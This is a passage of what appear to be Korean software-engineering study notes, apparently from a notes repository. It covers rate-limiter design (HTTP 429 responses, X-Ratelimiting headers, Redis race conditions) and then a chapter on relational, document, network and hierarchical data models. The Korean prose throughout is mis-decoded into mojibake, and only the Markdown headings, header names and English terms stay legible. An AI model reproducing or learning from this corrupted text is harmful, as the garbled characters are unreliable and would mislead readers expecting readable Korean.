์ˆ˜๊ฐ€ ์—†๋‹ค. #### ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ๊ทœ์น™ ๋ณดํ†ต ์„ค์ • ํŒŒ์ผ ํ˜•ํƒœ๋กœ ๋””์Šคํฌ์— ๋ณด๊ด€ํ•œ๋‹ค. #### ์ฒ˜๋ฆฌ์œจ ํ•œ๋„ ์ดˆ๊ณผ ํŠธ๋ž˜ํ”ฝ์˜ ์ฒ˜๋ฆฌ ์š”์ฒญ์ด ํ•œ๋„ ์ œํ•œ์— ๊ฑธ๋ฆฌ๋ฉด API๋Š” HTTP 429 ์‘๋‹ต์„ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๋ณด๋‚ธ๋‹ค. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ์„œ ํ•œ๋„ ์ œํ•œ์— ๊ฑธ๋ฆฐ ๋ฉ”์‹œ์ง€๋ฅผ ๋‚˜์ค‘์— ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ํ์— ๋ณด๊ด€ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. ##### ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” HTTP ํ—ค๋” ํด๋ผ์ด์–ธํŠธ๋Š” ์ž๊ธฐ ์š”์ฒญ์ด ์ฒ˜๋ฆฌ์œจ ์ œํ•œ์— ๊ฑธ๋ฆฌ๊ณ  ์žˆ๋Š”์ง€๋ฅผ (throttle) ์–ด๋–ป๊ฒŒ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋‚˜? ์ž๊ธฐ ์š”์ฒญ์ด ์ฒ˜๋ฆฌ์œจ ์ œํ•œ์— ๊ฑธ๋ฆฌ๊ธฐ๊นŒ์ง€ ์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š”์ง€ ์–ด๋–ป๊ฒŒ ์•Œ ์ˆ˜ ์žˆ๋‚˜? ๋‹ต์€ HTTP ์‘๋‹ต ํ—ค๋”์— ์žˆ๋‹ค. ์ด๋ฒˆ ์žฅ์—์„œ ์„ค๊ณ„ํ•˜๋Š” ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๋Š” ๋‹ค์Œ์˜ HTTP ํ—ค๋”๋ฅผ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ๋ณด๋‚ธ๋‹ค. - `X-Ratelimiting-Remaining`: ์œˆ๋„ ๋‚ด์— ๋‚จ์€ ์ฒ˜๋ฆฌ ๊ฐ€๋Šฅ ์š”์ฒญ์˜ ์ˆ˜ - `X-Ratelimiting-Limit`: ๋งค ์œˆ๋„๋งˆ๋‹ค ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ „์†กํ•  ์ˆ˜ ์žˆ๋Š” ์š”์ฒญ์˜ ์ˆ˜ - `X-Ratelimiting-Retry-After`: ํ•œ๋„ ์ œํ•œ์— ๊ฑธ๋ฆฌ์ง€ ์•Š์œผ๋ ค๋ฉด ๋ช‡ ์ดˆ ๋’ค์— ์š”์ฒญ์„ ๋‹ค์‹œ ๋ณด๋‚ด์•ผ ํ•˜๋Š”์ง€ ์•Œ๋ฆผ #### ์ƒ์„ธ ์„ค๊ณ„ - ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ๊ทœ์น™์€ ๋””์Šคํฌ์— ๋ณด๊ด€ํ•œ๋‹ค. ์ž‘์—… ํ”„๋กœ์„ธ์Šค๋Š” ์ˆ˜์‹œ๋กœ ๊ทœ์น™์„ ๋””์Šคํฌ์—์„œ ์ฝ์–ด ์บ์‹œ์— ์ €์žฅํ•œ๋‹ค. - ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ์„ ์„œ๋ฒ„์— ๋ณด๋‚ด๋ฉด ๋จผ์ € ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ๋ฏธ๋“ค์›จ์–ด์— ๋„์ฐฉํ•œ๋‹ค. - ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ๋ฏธ๋“ค์›จ์–ด๋Š” ์ œํ•œ ๊ทœ์น™ ๋“ฑ์„ ์บ์‹œ์—์„œ ๊ฐ€์ ธ์˜จ๋‹ค. ๊ฐ€์ ธ์˜จ ๊ฐ’๋“ค์— ๊ทผ๊ฑฐํ•˜์—ฌ ํ•ด๋‹น ๋ฏธ๋“ค์›จ์–ด๋Š” ์š”์ฒญ์„ ๋ฒ„๋ฆด์ง€ ๋ง์ง€ ๊ฒฐ์ •ํ•œ๋‹ค. - ์ฒ˜๋ฆฌ์œจ ์ œํ•œ์— ๊ฑธ๋ ค ์š”์ฒญ์„ ๋ฒ„๋ฆฌ๋ฉด 429 ์—๋Ÿฌ๋ฅผ ํด๋ผ์ด์–ธํŠธ์— ๋ณด๋‚ธ๋‹ค. ์š”์ฒญ์€ ๊ทธ๋Œ€๋กœ ๋ฒ„๋ฆด์ˆ˜๋„, ๋ฉ”์‹œ์ง€ ํ์— ๋ณด๊ด€ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. - ์ฒ˜๋ฆฌ์œจ ์ œํ•œ์— ๊ฑธ๋ฆฌ์ง€ ์•Š์•˜๋‹ค๋ฉด API ์„œ๋ฒ„๋กœ ๋ณด๋‚ธ๋‹ค. #### ๋ถ„์‚ฐ ํ™˜๊ฒฝ์—์„œ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜์˜ ๊ตฌํ˜„ - ๊ฒฝ์Ÿ ์กฐ๊ฑด - ๋™๊ธฐํ™” - ์œ„ ๋‘๊ฐ€์ง€ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•ด์•ผ ํ•œ๋‹ค. ##### ๊ฒฝ์Ÿ์กฐ๊ฑด ๋ ˆ๋””์Šค์—์„œ ์นด์šดํ„ฐ๋ฅผ ์ฝ๊ณ , ๊ฐ’์„ ์ฆ๊ฐ€ํ•˜๋Š” ๊ณผ์ •์—์„œ ๊ฒฝ์Ÿ ์กฐ๊ฑด ์ด์Šˆ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•œ ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•์€ ๋ฝ์ด์ง€๋งŒ, ๋ฝ์€ ์‹œ์Šคํ…œ์˜ ์„ฑ๋Šฅ์„ ์ƒ๋‹นํžˆ ๋–จ์–ดํŠธ๋ฆฐ๋‹ค. ์œ„ ์„ค๊ณ„์—์„œ ๋ฝ ๋Œ€์‹  ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํ•ด๊ฒฐ์ฑ…์€ ๋ฃจ์•„ ์Šคํฌ๋ฆฝํŠธ์ด๊ณ  ๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” sorted set์ด๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” ๋ ˆ๋””์Šค ์ž๋ฃŒ ๊ตฌ์กฐ๋ฅผ ์“ฐ๋Š” ๊ฒƒ์ด๋‹ค. ##### ๋™๊ธฐํ™” ์ด์Šˆ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๋ฅผ ์—ฌ๋Ÿฌ๊ฐœ ๋‘๋ฉด ๋™๊ธฐํ™”๊ฐ€ ํ•„์š”ํ•ด์ง„๋‹ค. ์—ฌ๋Ÿฌ ํด๋ผ์ด์–ธํŠธ์—์„œ ์š”์ฒญ์„ ๋ณด๋‚ผ ๊ฒฝ์šฐ ์›น๊ณ„์ธต์€ stateless์ด๋ฏ€๋กœ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์ด ๊ฐ๊ฐ ๋‹ค๋ฅธ ์ œํ•œ ์žฅ์น˜๋กœ ๋ณด๋‚ด์งˆ ์ˆ˜ ์žˆ๋‹ค. ์ด ๋•Œ ๋™๊ธฐํ™”๋ฅผ ํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด ์ œํ•œ ์žฅ์น˜๋Š” ์„œ๋กœ์— ๋Œ€ํ•ด ์•Œ์ง€ ๋ชปํ•˜๋ฏ€๋กœ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์—†๋‹ค. ์ด ๋•Œ ํ•œ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ sticky session์„ ํ™œ์šฉํ•˜์—ฌ ๋™์ผ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์€ ํ•ญ์ƒ ๊ฐ™์€ ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๋กœ ๊ฐ€๊ฒŒํ•˜๋Š” ๊ฒƒ์ธ๋ฐ, ์ด๋Š” ๊ทœ๋ชจ๋ฉด์—์„œ ํ™•์žฅ๊ฐ€๋Šฅํ•˜์ง€ ์•Š๊ณ  ์œ ์—ฐํ•˜์ง€๋„ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์ถ”์ฒœํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋” ๋‚˜์€ ํ•ด๊ฒฐ์ฑ…์€ ๋ ˆ๋””์Šค์™€ ๊ฐ™์€ ์ค‘์•™ ์ง‘์ค‘ํ˜• ๋ฐ์ดํ„ฐ ์ €์žฅ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ``` 02.md ```# 2์žฅ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ๊ณผ ์งˆ์˜ ์–ธ์–ด ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์€ ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ ์–ด๋–ป๊ฒŒ ์ž‘์„ฑ๋๋Š”์ง€ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํ•ด๊ฒฐํ•˜๋ ค๋Š” ๋ฌธ์ œ๋ฅผ ์–ด๋–ป๊ฒŒ ์ƒ๊ฐํ•ด์•ผ ํ•˜๋Š”์ง€์— ๋Œ€ํ•ด์„œ๋„ ์ง€๋Œ€ํ•œ ์˜ํ–ฅ์„ ๋ฏธ์น˜๊ธฐ ๋•Œ๋ฌธ์— ์†Œํ”„ํŠธ์›จ์–ด ๊ฐœ๋ฐœ์—์„œ ์ œ์ผ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์ด๋‹ค. ## ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ๊ณผ ๋ฌธ์„œ ๋ชจ๋ธ ์˜ค๋Š˜๋‚  ๊ฐ€์žฅ ์ž˜ ์•Œ๋ ค์ง„ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์€ 1970๋…„ Edgar Codd๊ฐ€ ์ œ์•ˆํ•œ ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ SQL์ด๋‹ค. ๋ฐ์ดํ„ฐ(SQL์—์„œ๋Š” ํ…Œ์ด๋ธ”)๋Š” Relation(๊ด€๊ณ„)์œผ๋กœ ๊ตฌ์„ฑ๋˜๊ณ  ๊ด€๊ณ„๋Š” ์ˆœ์„œ ์—†๋Š” Tuple(ํŠœํ”Œ, SQL์—์„œ๋Š” row) ๋ชจ์ž„์ด๋‹ค. 1970๋…„๋Œ€์™€ 1980๋…„๋Œ€ ์ดˆ๋ฐ˜์—๋Š” ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ๊ณผ ๊ณ„์ธต ๋ชจ๋ธ์ด ์ฃผ์š” ๋Œ€์•ˆ์ด์—ˆ์ง€๋งŒ ๊ฒฐ๊ตญ ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์ด ์šฐ์œ„๋ฅผ ์ฐจ์ง€ํ–ˆ๋‹ค. ### NoSQL์˜ ํƒ„์ƒ Not Only SQL 2010๋…„๋Œ€์— NoSQL์€ ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์˜ ์šฐ์œ„๋ฅผ ๋’ค์ง‘์œผ๋ ค๋Š” ๊ฐ€์žฅ ์ตœ๊ทผ์˜ ์‹œ๋„์ด๋‹ค. NoSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฑ„ํƒ ์›๋™๋ ฅ - ๋Œ€๊ทœ๋ชจ ๋ฐ์ดํ„ฐ์…‹์ด๋‚˜ ๋งค์šฐ ๋†’์€ ์“ฐ๊ธฐ ์ฒ˜๋ฆฌ๋Ÿ‰์„ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ณด๋‹ค ์‰ฝ๊ฒŒ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๋†’์€ ํ™•์žฅ์„ฑ์˜ ํ•„์š” - ๋ฌด๋ฃŒ ์˜คํ”ˆ์†Œ์Šค ์†Œํ”„ํŠธ์›จ์–ด ์„ ํ˜ธ๋„์˜ ํ™•์‚ฐ - ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์—์„œ ์ง€์›ํ•˜์ง€ ์•Š๋Š” ํŠน์ˆ˜ ์งˆ์˜ ๋™์ž‘ - ๊ด€๊ณ„ํ˜• ์Šคํ‚ค๋งˆ์˜ ์ œํ•œ์— ๋Œ€ํ•œ ๋ถˆ๋งŒ๊ณผ ๋”์šฑ ๋™์ ์ด๊ณ  ํ‘œํ˜„๋ ฅ์ด ํ’๋ถ€ํ•œ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์— ๋Œ€ํ•œ ๋ฐ”๋žŒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ €๋งˆ๋‹ค ์š”๊ตฌ์‚ฌํ•ญ์ด ๋‹ฌ๋ผ ์ตœ์ ์˜ ์„ ํƒ์ด ๊ฐ๊ฐ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์–ด ๋ฏธ๋ž˜์—๋Š” ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋น„๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ์Šคํ† ์–ด์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ๊ฒƒ์ด๋‹ค. ์ด๋Ÿฐ ๊ฐœ๋…์„ ์ข…์ข… ๋‹ค์ค‘ ์ €์žฅ์†Œ ์ง€์†์„ฑ(polyglot persistence)๋ผ๊ณ  ํ•œ๋‹ค. ### ๊ฐ์ฒด ๊ด€๊ณ„ํ˜• ๋ถˆ์ผ์น˜ - Impedence Mismatch: ๋ฐ์ดํ„ฐ๋ฅผ ๊ด€๊ณ„ํ˜• ํ…Œ์ด๋ธ”์— ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ์™€ ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ๋ชจ๋ธ ๊ฐ์ฒด ์‚ฌ์ด์—์„œ ํ•„์š”ํ•œ ์ „ํ™˜ ๊ณ„์ธต์˜ ๋ถ„๋ฆฌ - ํ•˜์ด๋ฒ„๋„ค์ดํŠธ์™€ ๊ฐ™์€ ORM ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ „ํ™˜ ๊ณ„์ธต์— ํ•„์š”ํ•œ boilerplate code๋ฅผ ์ค„์ผ ์ˆ˜๋Š” ์žˆ์ง€๋งŒ ๋‘ ๋ชจ๋ธ ๊ฐ„์˜ ์ฐจ์ด๋ฅผ ์™„์ „ํžˆ ์—†์•จ ์ˆ˜๋Š” ์—†๋‹ค. ### ๋‹ค๋Œ€์ผ๊ณผ ๋‹ค๋Œ€๋‹ค ๊ด€๊ณ„ - ์ค‘๋ณต๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ •๊ทœํ™”ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค๋Œ€์ผ(many to one)๊ด€๊ณ„๊ฐ€ ํ•„์š”ํ•œ๋‹ค, ๋ฌธ์„œ ๋ชจ๋ธ์—๋Š” ์ด ๊ด€๊ณ„๊ฐ€ ์ ํ•ฉํ•˜์ง€ ์•Š๋‹ค. - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ž์ฒด๊ฐ€ ์กฐ์ธ์„ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ๋‹ค์ค‘ ์งˆ์˜๋ฅผ ๋งŒ๋“ค์–ด์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ์—์„œ ์กฐ์ธ์„ ํ‰๋‚ด ๋‚ด์•ผ ํ•œ๋‹ค. ### ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์—ญ์‚ฌ๋ฅผ ๋ฐ˜๋ณตํ•˜๊ณ  ์žˆ๋‚˜? - 1970๋…„๋Œ€ ๋น„์ฆˆ๋‹ˆ์Šค ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ๋ฅผ ์œ„ํ•ด ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค IBM์˜ IMS - IMS๋Š” ๊ณ„์ธต ๋ชจ๋ธ์ด๋ผ ๋ถ€๋ฅด๋Š” ๊ฐ„๋‹จํ•œ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์„ ์‚ฌ์šฉํ–ˆ๊ณ , ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ JSON ๋ชจ๋ธ๊ณผ ๋น„์Šทํ•˜๋‹ค. - ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฒ˜๋Ÿผ ์ผ๋Œ€๋‹ค ๊ด€๊ณ„์—์„œ๋Š” ์ž˜ ๋™์ž‘ํ•˜์ง€๋งŒ, ๋‹ค๋Œ€๋‹ค ๊ด€๊ณ„ ํ‘œํ˜„์€ ์–ด๋ ค์› ๊ณ  ์กฐ์ธ์„ ์ง€์›ํ•˜์ง€ ์•Š์•„ ๊ฒฐ๊ตญ ๊ฐœ๋ฐœ์ž๊ฐ€ ์ˆ˜๋™์œผ๋กœ ๋ ˆ์ฝ”๋“œ๊ฐ„์˜ ์ฐธ์กฐ๋ฅผ ๊ฒฐ์ •ํ•ด์•ผ ํ–ˆ๋‹ค. ์ด๋Š” ์˜ค๋Š˜๋‚  ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์ž‘์—… ์ค‘์ธ ๊ฐœ๋ฐœ์ž๊ฐ€ ํ•ด๊ฒฐํ•ด์•ผํ•˜๋Š” ๋ฌธ์ œ์™€ ๋งค์šฐ ๋น„์Šทํ•˜๋‹ค. - ์ด ๊ณ„์ธต๋ชจ๋ธ์˜ ํ•œ๊ณ„๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ๊ณผ ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ์ด ์ œ์•ˆ๋๊ณ , ์ด ๋‘ ๋ชจ๋ธ๊ฐ„ ๋…ผ์Ÿ์€ 1970๋…„๋Œ€ ๋Œ€๋ถ€๋ถ„ ๋™์•ˆ ์ง€์† ๋๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด ๋…ผ์Ÿ์€ ์˜ค๋Š˜๋‚ ์˜ ๋ฌธ์ œ์™€๋„ ๊ด€๋ จ์ด ๋งŽ์•„ ํ˜„์žฌ ๊ด€์ ์œผ๋กœ ๊ฐ„๋žตํžˆ ๋‹ค์‹œ ์‚ดํŽด๋ณด๊ฒ ๋‹ค. #### ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ - AKA ์ฝ”๋‹ค์‹ค ๋ชจ๋ธ - ๊ณ„์ธต ๋ชจ๋ธ์˜ ํŠธ๋ฆฌ ๊ตฌ์กฐ์—์„œ ๋ชจ๋“  ๋ ˆ์ฝ”๋“œ๋Š” ์ •ํ™•ํ•˜๊ฒŒ ํ•˜๋‚˜์˜ ๋ถ€๋ชจ๊ฐ€ ์žˆ๋Š” ๋ฐ˜๋ฉด, ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ์—์„œ๋Š” ๋‹ค์ค‘ ๋ถ€๋ชจ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. - ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ์—์„œ ๋ ˆ์ฝ”๋“œ์— ์ ‘๊ทผํ•˜๋Š” ์œ ์ผํ•œ ๋ฐฉ๋ฒ•์€ ์ตœ์ƒ์œ„ ๋ ˆ์ฝ”๋“œ(root record)์—์„œ ๋ถ€ํ„ฐ ์—ฐ์†๋œ ์—ฐ๊ฒฐ ๊ฒฝ๋กœ๋ฅผ ๋”ฐ๋ฅด๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค. ์ด๋ฅผ ์ ‘๊ทผ ๊ฒฝ๋กœ๋ผ๊ณ  ํ•œ๋‹ค. - ์ฝ”๋‹ค์‹ค์—์„œ ๋งŒ์•ฝ ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋‹ค์ค‘ ๋ถ€๋ชจ๋ฅผ ๊ฐ€์ง„๋‹ค๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋Š” ๋‹ค์–‘ํ•œ ๊ด€๊ณ„๋ฅผ ๋ชจ๋‘ ์ถ”์ ํ•ด์•ผ ํ•œ๋‹ค. ์ฝ”๋‹ค์‹ค ์œ„์›ํšŒ๋„ ์ด ๋ฐฉ์‹์ด n์ฐจ์› ๋ฐ์ดํ„ฐ ๊ณต๊ฐ„์„ ํ–ฅํ•ด ๊ฐ€๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค๊ณ  ์ธ์ •ํ–ˆ๋‹ค. - ์ˆ˜๋™ ์ ‘๊ทผ ๊ฒฝ๋กœ ์„ ํƒ์€ 1970๋…„๋Œ€์—๋Š” ์ œํ•œ๋œ ํ•˜๋“œ์›จ์–ด ์„ฑ๋Šฅ์„ ํšจ์œจ์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์งˆ์˜์™€ ๊ฐฑ์‹ ์„ ์œ„ํ•œ ์ฝ”๋“œ๊ฐ€ ๋ณต์žกํ•˜๊ณ  ์œ ์—ฐํ•˜์ง€ ๋ชปํ•˜๋‹ค๋Š” ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ๋‹ค. ๊ณ„์ธต๋ชจ๋ธ๊ณผ ๋„คํŠธ์›Œํฌ ๋ชจ๋ธ ๋ชจ๋‘ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ๊ฒฝ๋กœ๊ฐ€ ์—†์„ ๋•Œ ์–ด๋ ค์šด ์ƒํ™ฉ์— ๋†“์ธ๋‹ค. #### ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ - ์–ฝํžˆ๊ณ ์„คํ‚จ ์ค‘์ปต ๊ตฌ์กฐ์™€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๊ณ  ์‹ถ์„ ๋•Œ ๋”ฐ๋ผ๊ฐ€์•ผ ํ•  ๋ณต์žกํ•œ ์ ‘๊ทผ ๊ฒฝ๋กœ๊ฐ€ ์—†๋‹ค. - ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ Query Optimizer๋Š” ์งˆ์˜์˜ ์–ด๋А ๋ถ€๋ถ„์„ ์–ด๋–ค ์ˆœ์„œ๋กœ ์‹คํ–‰ํ• ์ง€๋ฅผ ๊ฒฐ์ •ํ•˜๊ณ  ์‚ฌ์šฉํ•  ์ƒ‰์ธ์„ ์ž๋™์œผ๋กœ ๊ฒฐ์ •ํ•œ๋‹ค. ์ด ์„ ํƒ์€ ์‹ค์ œ๋กœ "์ ‘๊ทผ ๊ฒฝ๋กœ"๋‹ค. ํ•˜์ง€๋งŒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐœ๋ฐœ์ž๊ฐ€ ์•„๋‹ˆ๋ผ Query Optimizer๊ฐ€ ์ด ๊ฒฝ๋กœ๋ฅผ ์ž๋™์œผ๋กœ ๋งŒ๋“ ๋‹ค๋Š” ์ ์ด ํฐ ์ฐจ์ด์ ์ด๋‹ค. - ์ƒˆ๋กœ์šด ๋ฐฉ์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์งˆ์˜ํ•˜๊ณ  ์‹ถ์€ ๊ฒฝ์šฐ ์ƒˆ๋กœ์šด ์ƒ‰์ธ์„ ์„ ์–ธํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์งˆ์˜๋Š” ์ž๋™์œผ๋กœ ๊ฐ€์žฅ ์ ํ•ฉํ•œ ์ƒ‰์ธ์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋œ๋‹ค. ์ƒˆ๋กœ์šด ์ƒ‰์ธ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์งˆ์˜๋ฅผ ๋ฐ”๊ฟ€ ํ•„์š”๊ฐ€ ์—†๋‹ค. ๋”ฐ๋ผ์„œ ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์„ ์ถ”๊ฐ€ํ•˜๋Š” ์ž‘์—…์ด ํ›จ์”ฌ ์‰ฝ๋‹ค. - ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์œ„ํ•œ ์งˆ์˜ ์ตœ์ ํ™”๊ธฐ๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ˆ˜๋…„๊ฐ„์˜ ์—ฐ๊ตฌ์™€ ๊ฐœ๋ฐœ ๋…ธ๋ ฅ์ด ํ•„์š”ํ•˜๋‹ค. ํ•˜์ง€๋งŒ, ์ด๋ฅผ ํ•œ๋ฒˆ ๋งŒ๋“ค๋ฉด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ˜œํƒ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค. #### ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€์˜ ๋น„๊ต - ๋ณ„๋„ ํ…Œ์ด๋ธ”์ด ์•„๋‹Œ ์ƒ์œ„ ๋ ˆ์ฝ”๋“œ ๋‚ด์— ์ค‘์ฒฉ๋œ ๋ ˆ์ฝ”๋“œ๋ฅผ ์ €์žฅํ•œ๋‹ค๋Š” ์ ์—์„œ ๊ณ„์ธต ๋ชจ๋ธ๋กœ ๋Œ์•„๊ฐ”๋‹ค. - ๋‹ค๋Œ€์ผ๊ณผ ๋‹ค๋Œ€๋‹ค ๊ด€๊ณ„๋ฅผ ํ‘œํ˜„ํ•  ๋•Œ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๊ทผ๋ณธ์ ์œผ๋กœ ๋‹ค๋ฅด์ง€ ์•Š๋‹ค. ๋‘˜ ๋‹ค ๊ด€๋ จ ํ•ญ๋ชฉ์€ ๊ณ ์œ ํ•œ ์‹๋ณ„์ž๋กœ ์ฐธ์กฐํ•œ๋‹ค. ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์—์„œ๋Š” ์ด๋ฅผ ์™ธ๋ž˜ํ‚ค๋ผ ๋ถ€๋ฅด๊ณ  ๋ฌธ์„œ ๋ชจ๋ธ์—์„œ๋Š” ๋ฌธ์„œ ์ฐธ์กฐ(document reference)๋ผ ๋ถ€๋ฅธ๋‹ค. ### ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ์˜ค๋Š˜๋‚ ์˜ ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค - ๋ฌธ์„œ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์„ ์„ ํ˜ธํ•˜๋Š” ์ฃผ์š” ์ด์œ ๋Š” ์Šคํ‚ค๋งˆ ์œ ์—ฐ์„ฑ, ์ง€์—ญ์„ฑ์— ๊ธฐ์ธํ•œ ๋” ๋‚˜์€ ์„ฑ๋Šฅ ๋•Œ๋ฌธ์ด๊ณ  ์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ์™€ ๋” ๊ฐ€๊น๋‹ค. - ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์€ ์กฐ์ธ, 